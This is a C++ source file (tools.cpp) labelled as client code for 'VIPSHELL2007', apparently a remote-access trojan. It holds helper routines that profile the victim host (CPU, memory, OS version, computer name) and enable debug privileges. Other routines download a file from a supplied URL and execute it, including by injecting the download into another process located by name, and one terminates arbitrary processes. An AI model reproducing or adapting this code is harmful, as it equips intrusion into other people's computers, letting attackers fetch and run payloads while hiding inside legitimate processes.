tools.cpp

VIPSHELL2007客户端代码

#include "tools.h"
#include "Vfw.h"
#include <ATLBASE.h>
#include <stdio.h>
#include <Wininet.h>
#include "Foundation\Inject\InjectFunction.h"
#include "E:\Include\Foundation\Inject\InjectFunction.h"

#include <TLHELP32.H>


#pragma comment (lib, "Vfw32.lib")
#pragma comment (lib, "Wininet")
#pragma comment (lib, "Urlmon")



namespace
{
	typedef struct _tagThreadData
	{
		std::wstring strUrl;
		std::wstring strPath;
		bool fRun;
		DWORD dwProcessId;
	}THREADDATA, *PTHREADDATA;
}

DWORD GetCpuInfo()
{
	HKEY hKey;
	DWORD dwBufLen = 80;
	RegOpenKeyEx( HKEY_LOCAL_MACHINE,
	   L"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0",
	   0, KEY_QUERY_VALUE, &hKey );
	DWORD dwCpu;
	dwBufLen = sizeof(DWORD);
	RegQueryValueEx( hKey, L"~MHz", NULL, NULL,
	   (LPBYTE)&dwCpu, &dwBufLen);
	RegCloseKey(hKey);
	return dwCpu;
}

BOOL GetServerEdition(DWORD* dwMajorVersion, DWORD* dwMinorVersion, DWORD* dwPlatformId)
{
	 OSVERSIONINFOEX osvi;
	 osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
	  if( ! GetVersionEx ((OSVERSIONINFO *) &osvi))
		  return FALSE;
	  *dwMajorVersion = osvi.dwMajorVersion;
	  *dwMinorVersion = osvi.dwMinorVersion;
	  *dwPlatformId   = osvi.dwPlatformId;
	  return TRUE;
}

DWORD GetMemorySize()
{
	MEMORYSTATUS ms;
	GlobalMemoryStatus(&ms);
	return (DWORD)ms.dwTotalPhys;
}
bool IsCanCap()
{
	return false;
	WCHAR szVfwName[256];
	WCHAR szVfwVersion[256];
	ZeroMemory(szVfwName, sizeof(szVfwName));
	ZeroMemory(szVfwVersion, sizeof(szVfwVersion));
	capGetDriverDescription(0, szVfwName, sizeof(szVfwName), szVfwVersion, sizeof(szVfwVersion));
	if(lstrlen(szVfwName) == 0)
		return false;
	return true;
}


//提升进程访问权限
bool EnableDebugPriv()
{
    HANDLE hToken;
    LUID sedebugnameValue;
    TOKEN_PRIVILEGES tkp;
  
    if (!OpenProcessToken(GetCurrentProcess(), 
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        return false;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
        CloseHandle(hToken);
        return false;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
        CloseHandle(hToken);
        return false;
    }
    return true;
}


std::wstring GetComputerName()
{
	WCHAR sz[MAX_PATH];
	DWORD dwLen = MAX_PATH;
	GetComputerName(sz, &dwLen);
	return sz;
}


std::string CW2A(const WCHAR* sz)
{
	USES_CONVERSION;   
	std::string strRet = W2A(sz); 
	return strRet;

}
std::wstring CA2W(LPCSTR sz)
{
	USES_CONVERSION;     
		std::wstring strRet; 
		strRet=  A2W(sz);
		return strRet;
}

DWORD WINAPI ThreadThreadDownFile(LPVOID lp)
{
	PTHREADDATA pData = (PTHREADDATA)lp;
	HRESULT hr = URLDownloadToFileW(NULL, pData->strUrl.c_str(), pData->strPath.c_str(), 0,0);
	if( hr == S_OK && pData->fRun )
	{
		RunFile(pData->strPath.c_str(), NULL);
	}
	delete pData;
	return 0;
}

DWORD ThreadCreateThreadDownFile(LPCWSTR szUrl, LPCWSTR szPath,bool fRun)
{
	PTHREADDATA pData = new THREADDATA;
	pData->fRun = fRun;
	pData->strPath = szPath;
	pData->strUrl = szUrl;
	CreateThread(0,0,ThreadThreadDownFile,pData,0,0);
	return 0;
}
bool RunFile(LPCWSTR szCmd, LPCWSTR lpCurrentDirectory)
{
	ShellExecute(NULL, L"open", szCmd, NULL, lpCurrentDirectory, SW_SHOW);
	return true;
}

DWORD WINAPI ThreadInjectDownFile(LPVOID lp)
{
	PTHREADDATA pData = (PTHREADDATA)lp;
	if( InjectFunction::CreateThreadURLDownloadToFile(pData->strUrl.c_str(), pData->strPath.c_str(), pData->dwProcessId) )
	{
		if( pData->fRun )
			RunFile(pData->strPath.c_str(), NULL);
	}
	delete pData;
	return 0;
}

DWORD ThreadInjectDownFile(LPCWSTR szUrl, LPCWSTR szPath,bool fRun, DWORD dwProcessId)
{
	PTHREADDATA pData = new THREADDATA;
	pData->fRun = fRun;
	pData->strPath = szPath;
	pData->strUrl = szUrl;
	pData->dwProcessId = dwProcessId;
	CreateThread(0,0,ThreadInjectDownFile,pData,0,0);
	return 0;
}

std::wstring GetTempPathW()
{
	WCHAR szPath[MAX_PATH];
	::GetTempPathW(MAX_PATH, szPath);
	if( szPath[lstrlenW(szPath) - 1] != L'\\' )
		lstrcatW(szPath, L"\\");
	return szPath;
}
std::wstring BuildGetTempPathW(LPCWSTR szExt)
{
	std::wstring strRet;
	WCHAR szRet[MAX_PATH] = L"";
	wsprintf(szRet, L"%s%d.%s",  GetTempPathW().c_str(), rand(), szExt);
	strRet = szRet;
	return strRet;
}


DWORD GetProcessIdByName(LPCWSTR szName)
{
	DWORD dwRet = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof( PROCESSENTRY32 );
    Process32First( hSnapshot, &pe32 );
    do
	{

		if (  _wcsicmp(pe32.szExeFile, szName) == 0)
		{
			dwRet = pe32.th32ProcessID;
			break;
		}


    } while ( Process32Next( hSnapshot, &pe32 ) );
    CloseHandle( hSnapshot );
	return dwRet;
}

UINT32 GeiFileSize(LPCWSTR szPath)
{
	WIN32_FIND_DATA info;
	HANDLE hFile = FindFirstFile(szPath, &info);
	if( hFile == INVALID_HANDLE_VALUE )
		return -1;
	FindClose(hFile);
	return info.nFileSizeLow;
}


BOOL KillProcess(DWORD dwProcessId)
{
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	if(hProcess == NULL)
		return false;
	BOOL bRet = TerminateProcess(hProcess, 0);
	CloseHandle(hProcess);
	return bRet;
}